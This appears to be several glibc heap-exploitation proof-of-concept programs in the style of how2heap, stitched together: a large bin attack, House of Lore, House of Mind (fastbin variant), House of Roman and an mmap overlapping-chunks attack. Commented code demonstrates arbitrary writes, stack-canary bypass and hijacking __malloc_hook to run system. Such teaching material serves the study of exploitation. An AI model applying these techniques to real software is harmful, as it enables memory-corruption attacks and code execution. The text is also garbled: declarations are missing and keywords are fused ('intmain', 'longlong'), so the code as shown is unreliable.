// Put the 'large bin' chunk into the large bin unsorted_bin = malloc(0x4e8); free(unsorted_bin);
/* At this point, there is a single chunk in the large bin and a single chunk in the unsorted bin. It should be noted that the unsorted bin chunk should be LARGER in size than the large bin chunk but should still be within the same bin. In this setup, the large_bin has a chunk of size 0x4e0 and the unsorted bin has a chunk of size 0x4f0. This technique relies on the unsorted bin chunk being added to the same bin but a larger chunk size. So, careful heap feng shui must be done. */
// The address that we want to write to! fake_chunk = target - 0x10;
puts("Vulnerability! Overwrite unsorted bins 'bk' pointer with our target location.\n This is our target location to get from the allocator");
/* The address of our fake chunk is set to the unsorted bin chunks 'bk' pointer. This launches the 'unsorted_bin' attack but it is NOT the main purpose of us doing this. After launching the 'unsorted_bin attack' the 'victim' pointer will be set to THIS address. Our goal is to find a way to get this address from the allocator. Vulnerability!! */ ((size_t *)unsorted_bin)[1] = (size_t)fake_chunk; // unsorted_bin->bk
// Only needs to be a valid address. (( size_t *) large_bin )[1] = (size_t)fake_chunk + 8 ; // large_bin->bk
puts("Later on, we will use WRITE-WHERE primitive in the large bin to write a heap pointer to the location"); puts("of your fake chunk."); puts("Misalign the location in order to use the primitive as a SIZE value."); puts("The 'offset' changes depending on if the binary is PIE (5) or not PIE (2)."); puts("Vulnerability #2!"); puts("Overwrite large bins bk->nextsize with the address to put our fake chunk size at."); /* This can be seen as a WRITE-WHERE primitive in the large bin. However, we are going to write a 'size' for our fake chunk using this. So, we set https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L3579 to an address for our fake size. The write above (bk_nextsize) is controlled via the pointer we are going to overwrite below. The value that gets written is a heap address; the unsorted bin chunk address above. The 'key' to this is the offset. First, we subtract 0x18 because this is the offset to writting to fd_nextsize in the code shown above. Secondly, notice the -2 below. We are going to write a 'heap address' at a mis-aligned location and use THIS as the size. For instance, if the heap address is 0x123456 and the pointer is set to 0x60006. This will write the following way: - 0x60006: 0x56 - 0x60007: 0x34 - 0x60008: 0x12 Now, our 'fake size' is at 0x60008 and is a valid size for the fake chunk at 0x60008. The fake size is CRUCIAL to getting this fake chunk from the allocator. Second vulnerability!!! */ (( size_t *) large_bin)[3] = (size_t)fake_chunk - 0x18 - shift_amount; // large_bin->bk_nextsize
/* At this point, we've corrupted everything in just the right way so this should work. The purpose of the attack is to have a corrupted 'bk' pointer point to ANYWHERE we want and still get the memory back. We do this by using the large bin code to write a size to the 'bk' location. This call to malloc (if you're lucky), will return a pointer to the fake chunk that we created above. */
puts("Make allocation of the size that the value will be written for."); puts("Once the allocation happens, the madness begins"); puts("Once in the unsorted bin, the 'large bin' chunk will be used in orer to "); puts("write a fake 'size' value to the location of our target."); puts("After this, the target will have a valid size."); puts("Next, the unsorted bin will see that the chunk (in unsorted_bin->bk) has a valid"); puts("size and remove it from the bin."); puts("With this, we have pulled out an arbitrary chunk!");
/* Advanced exploitation of the House of Lore - Malloc Maleficarum. This PoC take care also of the glibc hardening of smallbin corruption. [ ... ] else { bck = victim->bk; if (__glibc_unlikely (bck->fd != victim)){ errstr = "malloc(): smallbin double linked list corrupted"; goto errout; } set_inuse_bit_at_offset (victim, nb); bin->bk = bck; bck->fd = bin; [ ... ] */
fprintf(stderr, "\nWelcome to the House of Lore\n"); fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc\n"); fprintf(stderr, "This is tested against Ubuntu 16.04.6 - 64bit - glibc-2.23\n\n");
fprintf(stderr, "Allocating the victim chunk\n"); intptr_t *victim = malloc(0x100); fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim);
// victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk intptr_t *victim_chunk = victim-2;
fprintf(stderr, "stack_buffer_1 at %p\n", (void*)stack_buffer_1); fprintf(stderr, "stack_buffer_2 at %p\n", (void*)stack_buffer_2);
fprintf(stderr, "Create a fake chunk on the stack\n"); fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted" "in second to the last malloc, which putting stack address on smallbin list\n"); stack_buffer_1[0] = 0; stack_buffer_1[1] = 0; stack_buffer_1[2] = victim_chunk;
fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 " "in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake " "chunk on stack"); stack_buffer_1[3] = (intptr_t*)stack_buffer_2; stack_buffer_2[2] = (intptr_t*)stack_buffer_1; fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with" "the small one during the free()\n"); void *p5 = malloc(1000); fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5);
fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim); free((void*)victim);
fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are the unsorted bin's header address (libc addresses)\n"); fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]); fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n"); fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\n", victim);
void *p2 = malloc(1200); fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2);
fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\n"); fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]); fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
//------------VULNERABILITY-----------
fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack
//------------------------------------
fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n"); fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n");
void *p3 = malloc(0x100);
fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n"); char *p4 = malloc(0x100); fprintf(stderr, "p4 = malloc(0x100)\n");
fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n", stack_buffer_2[2]);
fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode long offset = (long)__builtin_frame_address(0) - (long)p4; memcpy((p4+offset+8), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
/* House of Mind - Fastbin Variant ========================== This attack is similar to the original 'House of Mind' in that it uses a fake non-main arena in order to write to a new location. This uses the fastbin for a WRITE-WHERE primitive in the 'fastbin' variant of the original attack though. The original write for this can be found at https://dl.packetstormsecurity.net/papers/attack/MallocMaleficarum.txt with a more recent post (by me) at https://maxwelldulin.com/BlogPost?post=2257705984. By being able to allocate an arbitrary amount of chunks, a single byte overwrite on a chunk size and a memory leak, we can control a super powerful primitive. This could be used in order to write a freed pointer to an arbitrary location (which seems more useful). Or, this could be used as a write-large-value-WHERE primitive (similar to unsortedbin attack). Both are interesting in their own right though but the first option is the most powerful primitive, given the right setting. Malloc chunks have a specified size and this size information special metadata properties (prev_inuse, mmap chunk and non-main arena). The usage of non-main arenas is the focus of this exploit. For more information on this, read https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/. First, we need to understand HOW the non-main arena is known from a chunk. This the 'heap_info' struct: struct _heap_info { mstate ar_ptr; // Arena for this heap. <--- Malloc State pointer struct _heap_info *prev; // Previous heap. size_t size; // Current size in bytes. size_t mprotect_size; // Size in bytes that has been mprotected char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK]; // Proper alignment } heap_info; - https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/arena.c#L48 The important thing to note is that the 'malloc_state' within an arena is grabbed from the ar_ptr, which is the FIRST entry of this. Malloc_state == mstate == arena The main arena has a special pointer. However, non-main arenas (mstate) are at the beginning of a heap section. They are grabbed with the following code below, where the user controls the 'ptr' in 'arena_for_chunk': #define heap_for_ptr(ptr) \ ((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1))) #define arena_for_chunk(ptr) \ (chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena) - https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/arena.c#L127 This macro takes the 'ptr' and subtracts a large value because the 'heap_info' should be at the beginning of this heap section. Then, using this, it can find the 'arena' to use. The idea behind the attack is to use a fake arena to write pointers to locations where they should not go but abusing the 'arena_for_chunk' functionality when freeing a fastbin chunk. This POC does the following things: - Finds a valid arena location for a non-main arena. - Allocates enough heap chunks to get to the non-main arena location where we can control the values of the arena data. - Creates a fake 'heap_info' in order to specify the 'ar_ptr' to be used as the arena later. - Using this fake arena (ar_ptr), we can use the fastbin to write to an unexpected location of the 'ar_ptr' with a heap pointer. Requirements: - A heap leak in order to know where the fake 'heap_info' is located at. - Could be possible to avoid with special spraying techniques - An unlimited amount of allocations - A single byte overflow on the size of a chunk - NEEDS to be possible to put into the fastbin. - So, either NO tcache or the tcache needs to be filled. - The location of the malloc state(ar_ptr) needs to have a value larger than the fastbin size being freed at malloc_state.system_mem otherwise the chunk will be assumed to be invalid. - This can be manually inserted or CAREFULLY done by lining up values in a proper way. - The NEXT chunk, from the one that is being freed, must be a valid size (again, greater than 0x20 and less than malloc_state.system_mem) Random perks: - Can be done MULTIPLE times at the location, with different sized fastbin chunks. - Does not brick malloc, unlike the unsorted bin attack. - Only has three requirements: Infinite allocations, single byte buffer overflowand a heap memory leak. ************************************ Written up by Maxwell Dulin (Strikeout) ************************************ */
intmain() { printf("House of Mind - Fastbin Variant\n"); puts("=================================="); printf("The goal of this technique is to create a fake arena\n"); printf("at an offset of HEAP_MAX_SIZE\n");
printf("Then, we write to the fastbins when the chunk is freed\n"); printf("This creates a somewhat constrained WRITE-WHERE primitive\n"); // Values for the allocation information. int HEAP_MAX_SIZE = 0x4000000; int MAX_SIZE = (128*1024) - 0x100; // MMap threshold: https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L635
printf("Find initial location of the heap\n"); // The target location of our attack and the fake arena to use uint8_t* fake_arena = malloc(0x1000); uint8_t* target_loc = fake_arena + 0x28;
/* Prepare a valid 'malloc_state' (arena) 'system_mem' to store a fastbin. This is important because the size of a chunk is validated for being too small or too large via the 'system_mem' of the 'malloc_state'. This just needs to be a value larger than our fastbin chunk. */ printf("Set 'system_mem' (offset 0x880) for fake arena\n"); fake_arena[0x880] = 0xFF; fake_arena[0x881] = 0xFF; fake_arena[0x882] = 0xFF;
printf("Target Memory Address for overwrite: %p\n", target_loc); printf("Must set data at HEAP_MAX_SIZE (0x%x) offset\n", HEAP_MAX_SIZE);
uint64_t* user_mem = malloc(MAX_SIZE); printf("Fake Heap Info struct location: %p\n", fake_heap_info); printf("Allocate until we reach a MAX_HEAP_SIZE offset\n");
/* The fake arena must be at a particular offset on the heap. So, we allocate a bunch of chunks until our next chunk will be in the arena. This value was calculated above. */ while((longlong)user_mem < new_arena_value){ user_mem = malloc(MAX_SIZE); }
// Use this later to trigger craziness printf("Create fastbin sized chunk to be victim of attack\n"); uint64_t* fastbin_chunk = malloc(0x50); // Size of 0x60 uint64_t* chunk_ptr = fastbin_chunk - 2; // Point to chunk instead of mem printf("Fastbin Chunk to overwrite: %p\n", fastbin_chunk);
/* Create a FAKE malloc_state pointer for the heap_state This is the 'ar_ptr' of the 'heap_info' struct shown above. This is the first entry in the 'heap_info' struct at offset 0x0 at the heap. We set this to the location where we want to write a value to. The location that gets written to depends on the fastbin chunk size being freed. This will be between an offset of 0x8 and 0x40 bytes. For instance, a chunk with a size of 0x20 would be in the 0th index of fastbinsY struct. When this is written to, we will write to an offset of 8 from the original value written. - https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L1686 */ printf("Setting 'ar_ptr' (our fake arena) in heap_info struct to %p\n", fake_arena); fake_heap_info[0] = (uint64_t) fake_arena; // Setting the fake ar_ptr (arena) printf("Target Write at %p prior to exploitation: 0x%x\n", target_loc, *(target_loc));
/* Set the non-main arena bit on the size. Additionally, we keep the size the same as the original allocation because there is a sanity check on the fastbin (when freeing) that the next chunk has a valid size. When grabbing the non-main arena, it will use our choosen arena! From there, it will write to the fastbin because of the size of the chunk. ///// Vulnerability! Overwriting the chunk size */ printf("Set non-main arena bit on the fastbin chunk\n"); puts("NOTE: This keeps the next chunk size valid because the actual chunk size was never changed\n"); chunk_ptr[1] = 0x60 | 0x4; // Setting the non-main arena bit
//// End vulnerability
/* The offset being written to with the fastbin chunk address depends on the fastbin BEING used and the malloc_state itself. In 2.23, the offset from the beginning of the malloc_state to the fastbinsY array is only 0x8. Then, fastbinsY[0x4] is an additional byte offset of 0x20. In total, the writing offset from the arena location is 0x28 bytes. from the arena location to where the write actually occurs. This is a similar concept to bk - 0x10 from the unsorted bin attack. */ printf("When we free the fastbin chunk with the non-main arena bit\n"); printf("set, it will cause our fake 'heap_info' struct to be used.\n"); printf("This will dereference our fake arena location and write\n"); printf("the address of the heap to an offset of the arena pointer.\n");
printf("Trigger the magic by freeing the chunk!\n"); free(fastbin_chunk); // Trigger the madness
// For this particular fastbin chunk size, the offset is 0x28. printf("Target Write at %p: 0x%llx\n", target_loc, *((unsignedlonglong*) (target_loc))); assert(*((unsignedlong *) (target_loc)) != 0); }
/* Base of the topmost chunk -- not otherwise kept in a bin */ mchunkptr top;
/* The remainder from the most recent split of a small request */ mchunkptr last_remainder;
/* Normal bins packed as described above */ mchunkptr bins[NBINS * 2 - 2];
/* Bitmap of bins */ unsignedint binmap[BINMAPSIZE];
/* Linked list */ structmalloc_state *next;
/* Linked list for free arenas. Access to this field is serialized by free_list_lock in arena.c. */ structmalloc_state *next_free;
/* Number of threads attached to this arena. 0 if the arena is on the free list. Access to this field is serialized by free_list_lock in arena.c. */ INTERNAL_SIZE_T attached_threads;
/* Memory allocated from the system in this arena. */ INTERNAL_SIZE_T system_mem; INTERNAL_SIZE_T max_system_mem; };
1 2 3 4 5 6 7 8 9 10 11 12
typedefstruct_heap_info { mstate ar_ptr; /* Arena for this heap. */ struct_heap_info *prev; /* Previous heap. */ size_t size; /* Current size in bytes. */ size_t mprotect_size; /* Size in bytes that has been mprotected PROT_READ|PROT_WRITE. */ /* Make sure the following data is properly aligned, particularly that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of MALLOC_ALIGNMENT. */ char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK]; } heap_info;
/* Technique was tested on GLibC 2.23, 2.24 via the glibc_build.sh script inside of how2heap on Ubuntu 16.04. 2.25 was tested on Ubuntu 17.04. Compile: gcc -fPIE -pie house_of_roman.c -o house_of_roman POC written by Maxwell Dulin (Strikeout) */
// Use this in order to turn off printf buffering (messes with heap alignment) void* init(){ setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stdin, NULL, _IONBF, 0); }
intmain(){
/* The main goal of this technique is to create a **leakless** heap exploitation technique in order to get a shell. This is mainly done using **relative overwrites** in order to get pointers in the proper locations without knowing the exact value of the pointer. The first step is to get a pointer inside of __malloc_hook. This is done by creating a fastbin bin that looks like the following: ptr_to_chunk -> ptr_to_libc. Then, we alter the ptr_to_libc (with a relative overwrite) to point to __malloc_hook. The next step is to run an unsorted bin attack on the __malloc_hook (which is now controllable from the previous attack). Again, we run the unsorted_bin attack by altering the chunk->bk with a relative overwrite. Finally, after launching the unsorted_bin attack to put a libc value inside of __malloc_hook, we use another relative overwrite on the value of __malloc_hook to point to a one_gadget, system or some other function. Now, the next time we run malloc we pop a shell! :) However, this does come at a cost: 12 bits of randomness must be brute forced (0.02% chance) of working. The original write up for the *House of Roman* can be found at https://gist.github.com/romanking98/9aab2804832c0fb46615f025e8ffb0bc#assumptions. This technique requires the ability to edit fastbin and unsorted bin pointers via UAF or overflow of some kind. Additionally, good control over the allocations sizes and freeing is required for this technique. */
char* introduction = "\nWelcome to the House of Roman\n\n" "This is a heap exploitation technique that is LEAKLESS.\n" "There are three stages to the attack: \n\n" "1. Point a fastbin chunk to __malloc_hook.\n" "2. Run the unsorted_bin attack on __malloc_hook.\n" "3. Relative overwrite on main_arena at __malloc_hook.\n\n" "All of the stuff mentioned above is done using two main concepts:\n" "relative overwrites and heap feng shui.\n\n" "However, this technique comes at a cost:\n" "12-bits of entropy need to be brute forced.\n" "That means this technique only work 1 out of every 4096 tries or 0.02%.\n" "**NOTE**: For the purpose of this exploit, we set the random values in order to make this consisient\n\n\n"; puts(introduction); init();
/* Part 1: Fastbin Chunk points to __malloc_hook Getting the main_arena in a fastbin chunk ordering is the first step. This requires a ton of heap feng shui in order to line this up properly. However, at a glance, it looks like the following: First, we need to get a chunk that is in the fastbin with a pointer to a heap chunk in the fd. Second, we point this chunk to a pointer to LibC (in another heap chunk). All of the setup below is in order to get the configuration mentioned above setup to perform the relative overwrites. "; Getting the pointer to libC can be done in two ways: - A split from a chunk in the small/large/unsorted_bins gets allocated to a size of 0x70. - Overwrite the size of a small/large chunk used previously to 0x71. For the sake of example, this uses the first option because it requires less vulnerabilities. */
puts("Step 1: Point fastbin chunk to __malloc_hook\n\n"); puts("Setting up chunks for relative overwrites with heap feng shui.\n");
// Use this as the UAF chunk later to edit the heap pointer later to point to the LibC value. uint8_t* fastbin_victim = malloc(0x60);
// Allocate this in order to have good alignment for relative // offsets later (only want to overwrite a single byte to prevent // 4 bits of brute on the heap). malloc(0x80);
// Offset 0x100 uint8_t* main_arena_use = malloc(0x80); // Offset 0x190 // This ptr will be used for a relative offset on the 'main_arena_use' chunk uint8_t* relative_offset_heap = malloc(0x60); // Free the chunk to put it into the unsorted_bin. // This chunk will have a pointer to main_arena + 0x68 in both the fd and bk pointers. free(main_arena_use);
/* Get part of the unsorted_bin chunk (the one that we just freed). We want this chunk because the fd and bk of this chunk will contain main_arena ptrs (used for relative overwrite later). The size is particularly set at 0x60 to put this into the 0x70 fastbin later. This has to be the same size because the __malloc_hook fake chunk (used later) uses the fastbin size of 0x7f. There is a security check (within malloc) that the size of the chunk matches the fastbin size. */
puts("Allocate chunk that has a pointer to LibC main_arena inside of fd ptr.\n"); //Offset 0x100. Has main_arena + 0x68 in fd and bk. uint8_t* fake_libc_chunk = malloc(0x60);
//// NOTE: This is NOT part of the exploit... \\\ // The __malloc_hook is calculated in order for the offsets to be found so that this exploit works on a handful of versions of GLibC. longlong __malloc_hook = ((long*)fake_libc_chunk)[0] - 0xe8;
// We need the filler because the overwrite below needs // to have a ptr in the fd slot in order to work. //Freeing this chunk puts a chunk in the fd slot of 'fastbin_victim' to be used later. free(relative_offset_heap);
/* Create a UAF on the chunk. Recall that the chunk that fastbin_victim points to is currently at the offset 0x190 (heap_relative_offset). */ free(fastbin_victim);
/* Now, we start doing the relative overwrites, since that we have the pointers in their proper locations. The layout is very important to understand for this. Current heap layout: 0x0: fastbin_victim - size 0x70 0x70: alignment_filler - size 0x90 0x100: fake_libc_chunk - size 0x70 0x170: leftover_main - size 0x20 0x190: relative_offset_heap - size 0x70 bin layout: fastbin: fastbin_victim -> relative_offset_heap unsorted: leftover_main Now, the relative overwriting begins: Recall that fastbin_victim points to relative_offset_heap (which is in the 0x100-0x200 offset range). The fastbin uses a singly linked list, with the next chunk in the 'fd' slot. By *partially* editing the fastbin_victim's last byte (from 0x90 to 0x00) we have moved the fd pointer of fastbin_victim to fake_libc_chunk (at offset 0x100). Also, recall that fake_libc_chunk had previously been in the unsorted_bin. Because of this, it has a fd pointer that points to main_arena + 0x68. Now, the fastbin looks like the following: fastbin_victim -> fake_libc_chunk ->(main_arena + 0x68). The relative overwrites (mentioned above) will be demonstrates step by step below. */
puts("\ Overwrite the first byte of a heap chunk in order to point the fastbin chunk\n\ to the chunk with the LibC address\n"); puts("\ Fastbin 0x70 now looks like this:\n\ heap_addr -> heap_addr2 -> LibC_main_arena\n"); fastbin_victim[0] = 0x00; // The location of this is at 0x100. But, we only want to overwrite the first byte. So, we put 0x0 for this.
/* Now, we have a fastbin that looks like the following: 0x70: fastbin_victim -> fake_libc_chunk -> (main_arena + 0x68) We want the fd ptr in fake_libc_chunk to point to something useful. So, let's edit this to point to the location of the __malloc_hook. This way, we can get control of a function ptr. To do this, we need a valid malloc size. Within the __memalign_hook is usually an address that usually starts with 0x7f. Because __memalign_hook value is right before this are all 0s, we could use a misaligned chunk to get this to work as a valid size in the 0x70 fastbin. This is where the first 4 bits of randomness come into play. The first 12 bits of the LibC address are deterministic for the address. However, the next 4 (for a total of 2 bytes) are not. So, we have to brute force 2^4 different possibilities (16) in order to get this in the correct location. This 'location' is different for each version of GLibC (should be noted). After doing this relative overwrite, the fastbin looks like the following: 0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23). */ /* Relatively overwrite the main_arena pointer to point to a valid chunk close to __malloc_hook. ///// NOTE: In order to make this exploit consistent (not brute forcing with hardcoded offsets), we MANUALLY set the values. \\\ In the actual attack, this values would need to be specific to a version and some of the bits would have to be brute forced (depending on the bits). */
puts("\ Use a relative overwrite on the main_arena pointer in the fastbin.\n\ Point this close to __malloc_hook in order to create a fake fastbin chunk\n"); longlong __malloc_hook_adjust = __malloc_hook - 0x23; // We substract 0x23 from the malloc because we want to use a 0x7f as a valid fastbin chunk size.
// The relative overwrite int8_t byte1 = (__malloc_hook_adjust) & 0xff; int8_t byte2 = (__malloc_hook_adjust & 0xff00) >> 8; fake_libc_chunk[0] = byte1; // Least significant bytes of the address. fake_libc_chunk[1] = byte2; // The upper most 4 bits of this must be brute forced in a real attack.
// Two filler chunks prior to the __malloc_hook chunk in the fastbin. // These are fastbin_victim and fake_libc_chunk. puts("Get the fake chunk pointing close to __malloc_hook\n"); puts("\ In a real exploit, this would fail 15/16 times\n\ because of the final half byet of the malloc_hook being random\n"); malloc(0x60); malloc(0x60);
// If the 4 bit brute force did not work, this will crash because // of the chunk size not matching the bin for the chunk. // Otherwise, the next step of the attack can begin. uint8_t* malloc_hook_chunk = malloc(0x60);
puts("Passed step 1 =)\n\n\n");
/* Part 2: Unsorted_bin attack Now, we have control over the location of the __malloc_hook. However, we do not know the address of LibC still. So, we cannot do much with this attack. In order to pop a shell, we need to get an address at the location of the __malloc_hook. We will use the unsorted_bin attack in order to change the value of the __malloc_hook with the address of main_arena + 0x68. For more information on the unsorted_bin attack, review https://github.com/shellphish/how2heap/blob/master/glibc_2.26/unsorted_bin_attack.c. For a brief overview, the unsorted_bin attack allows us to write main_arena + 0x68 to any location by altering the chunk->bk of an unsorted_bin chunk. We will choose to write this to the location of __malloc_hook. After we overwrite __malloc_hook with the main_arena, we will edit the pointer (with a relative overwrite) to point to a one_gadget for immediate code execution. Again, this relative overwrite works well but requires an additional 1 byte (8 bits) of brute force. This brings the chances of a successful attempt up to 12 bits of randomness. This has about a 1/4096 or a 0.0244% chance of working. The steps for phase two of the attack are explained as we go below. */
puts("\ Start Step 2: Unsorted_bin attack\n\n\ The unsorted bin attack gives us the ability to write a\n\ large value to ANY location. But, we do not control the value\n\ This value is always main_arena + 0x68. \n\ We point the unsorted_bin attack to __malloc_hook for a \n\ relative overwrite later.\n");
// Get the chunk to corrupt. Add another ptr in order to prevent consolidation upon freeing. uint8_t* unsorted_bin_ptr = malloc(0x80); malloc(0x30); // Don't want to consolidate
puts("Put chunk into unsorted_bin\n"); // Free the chunk to create the UAF free(unsorted_bin_ptr);
/* /// NOTE: The last 4 bits of byte2 would have been brute forced earlier. \\\ However, for the sake of example, this has been calculated dynamically. */ __malloc_hook_adjust = __malloc_hook - 0x10; // This subtract 0x10 is needed because of the chunk->fd doing the actual overwrite on the unsorted_bin attack. byte1 = (__malloc_hook_adjust) & 0xff; byte2 = (__malloc_hook_adjust & 0xff00) >> 8;
// Use another relative offset to overwrite the ptr of the chunk->bk pointer. // From the previous brute force (4 bits from before) we // know where the location of this is at. It is 5 bytes away from __malloc_hook. puts("Overwrite last two bytes of the chunk to point to __malloc_hook\n"); unsorted_bin_ptr[8] = byte1; // Byte 0 of bk.
// //// NOTE: Normally, the second half of the byte would HAVE to be brute forced. However, for the sake of example, we set this in order to make the exploit consistent. /// unsorted_bin_ptr[9] = byte2; // Byte 1 of bk. The second 4 bits of this was brute forced earlier, the first 4 bits are static. /* Trigger the unsorted bin attack. This will write the value of (main_arena + 0x68) to whatever is in the bk ptr + 0x10. A few things do happen though: - This makes the unsorted bin (hence, small and large too) unusable. So, only allocations previously in the fastbin can only be used now. - If the same size chunk (the unsorted_bin attack chunk) is NOT malloc'ed, the program will crash immediately afterwards. So, the allocation request must be the same as the unsorted_bin chunk. The first point is totally fine (in this attack). But, in more complicated programming, this can be an issue. The second just requires us to do the same size allocaton as the current chunk. */
puts("Trigger the unsorted_bin attack\n"); malloc(0x80); // Trigger the unsorted_bin attack to overwrite __malloc_hook with main_arena + 0x68
puts("Passed step 2 =)\n\n\n"); /* Step 3: Set __malloc_hook to system The chunk itself is allocated 19 bytes away from __malloc_hook. So, we use a realtive overwrite (again) in order to partially overwrite the main_arena pointer (from unsorted_bin attack) to point to system. In a real attack, the first 12 bits are static (per version). But, after that, the next 12 bits must be brute forced. /// NOTE: For the sake of example, we will be setting these values, instead of brute forcing them. \\\ */
puts("Step 3: Set __malloc_hook to system/one_gadget\n\n"); puts("\ Now that we have a pointer to LibC inside of __malloc_hook (from step 2), \n\ we can use a relative overwrite to point this to system or a one_gadget.\n\ Note: In a real attack, this would be where the last 8 bits of brute forcing\n\ comes from.\n"); malloc_hook_chunk[19] = system_addr & 0xff; // The first 12 bits are static (per version).
malloc_hook_chunk[20] = (system_addr >> 8) & 0xff; // The last 4 bits of this must be brute forced (done previously already). malloc_hook_chunk[21] = (system_addr >> 16) & 0xff; // The last byte is the remaining 8 bits that must be brute forced. malloc_hook_chunk[22] = (system_addr >> 24) & 0xff; // If the gap is between the data and text section is super wide, this is also needed. Just putting this in to be safe.
// Trigger the malloc call for code execution via the system call being ran from the __malloc_hook. // In a real example, you would probably want to use a one_gadget. // But, to keep things portable, we will just use system and add a pointer to /bin/sh as the parameter // Although this is kind of cheating (the binary is PIE), if the binary was not PIE having a pointer into the .bss section would work without a single leak. // To get the system address (eariler on for consistency), the binary must be PIE though. So, the address is put in here. puts("Pop Shell!"); malloc((longlong)shell); }
/* Technique should work on all versions of GLibC Compile: `gcc mmap_overlapping_chunks.c -o mmap_overlapping_chunks -g` POC written by POC written by Maxwell Dulin (Strikeout) */ intmain(){ /* A primer on Mmap chunks in GLibC ================================== In GLibC, there is a point where an allocation is so large that malloc decides that we need a seperate section of memory for it, instead of allocating it on the normal heap. This is determined by the mmap_threshold var. Instead of the normal logic for getting a chunk, the system call *Mmap* is used. This allocates a section of virtual memory and gives it back to the user. Similarly, the freeing process is going to be different. Instead of a free chunk being given back to a bin or to the rest of the heap, another syscall is used: *Munmap*. This takes in a pointer of a previously allocated Mmap chunk and releases it back to the kernel. Mmap chunks have special bit set on the size metadata: the second bit. If this bit is set, then the chunk was allocated as an Mmap chunk. Mmap chunks have a prev_size and a size. The *size* represents the current size of the chunk. The *prev_size* of a chunk represents the left over space from the size of the Mmap chunk (not the chunks directly belows size). However, the fd and bk pointers are not used, as Mmap chunks do not go back into bins, as most heap chunks in GLibC Malloc do. Upon freeing, the size of the chunk must be page-aligned. The POC below is essentially an overlapping chunk attack but on mmap chunks. This is very similar to https://github.com/shellphish/how2heap/blob/master/glibc_2.26/overlapping_chunks.c. The main difference is that mmapped chunks have special properties and are handled in different ways, creating different attack scenarios than normal overlapping chunk attacks. There are other things that can be done, such as munmapping system libraries, the heap itself and other things. This is meant to be a simple proof of concept to demonstrate the general way to perform an attack on an mmap chunk. For more information on mmap chunks in GLibC, read this post: http://tukan.farm/2016/07/27/munmap-madness/ */
int* ptr1 = malloc(0x10);
printf("This is performing an overlapping chunk attack but on extremely large chunks (mmap chunks).\n"); printf("Extremely large chunks are special because they are allocated in their own mmaped section\n"); printf("of memory, instead of being put onto the normal heap.\n"); puts("=======================================================\n"); printf("Allocating three extremely large heap chunks of size 0x100000 \n\n"); longlong* top_ptr = malloc(0x100000); printf("The first mmap chunk goes directly above LibC: %p\n",top_ptr);
// After this, all chunks are allocated downwards in memory towards the heap. longlong* mmap_chunk_2 = malloc(0x100000); printf("The second mmap chunk goes below LibC: %p\n", mmap_chunk_2);
longlong* mmap_chunk_3 = malloc(0x100000); printf("The third mmap chunk goes below the second mmap chunk: %p\n", mmap_chunk_3);
printf("Prev Size of third mmap chunk: 0x%llx\n", mmap_chunk_3[-2]); printf("Size of third mmap chunk: 0x%llx\n\n", mmap_chunk_3[-1]);
printf("Change the size of the third mmap chunk to overlap with the second mmap chunk\n"); printf("This will cause both chunks to be Munmapped and given back to the system\n"); printf("This is where the vulnerability occurs; corrupting the size or prev_size of a chunk\n");
// Vulnerability!!! This could be triggered by an improper index or a buffer overflow from a chunk further below. // Additionally, this same attack can be used with the prev_size instead of the size. mmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2; printf("New size of third mmap chunk: 0x%llx\n", mmap_chunk_3[-1]); printf("Free the third mmap chunk, which munmaps the second and third chunks\n\n");
/* This next call to free is actually just going to call munmap on the pointer we are passing it. The source code for this can be found at https://elixir.bootlin.com/glibc/glibc-2.26/source/malloc/malloc.c#L2845 With normal frees the data is still writable and readable (which creates a use after free on the chunk). However, when a chunk is munmapped, the memory is given back to the kernel. If this data is read or written to, the program crashes. Because of this added restriction, the main goal is to get the memory back from the system to have two pointers assigned to the same location. */ // Munmaps both the second and third pointers free(mmap_chunk_3);
/* Would crash, if on the following: mmap_chunk_2[0] = 0xdeadbeef; This is because the memory would not be allocated to the current program. */
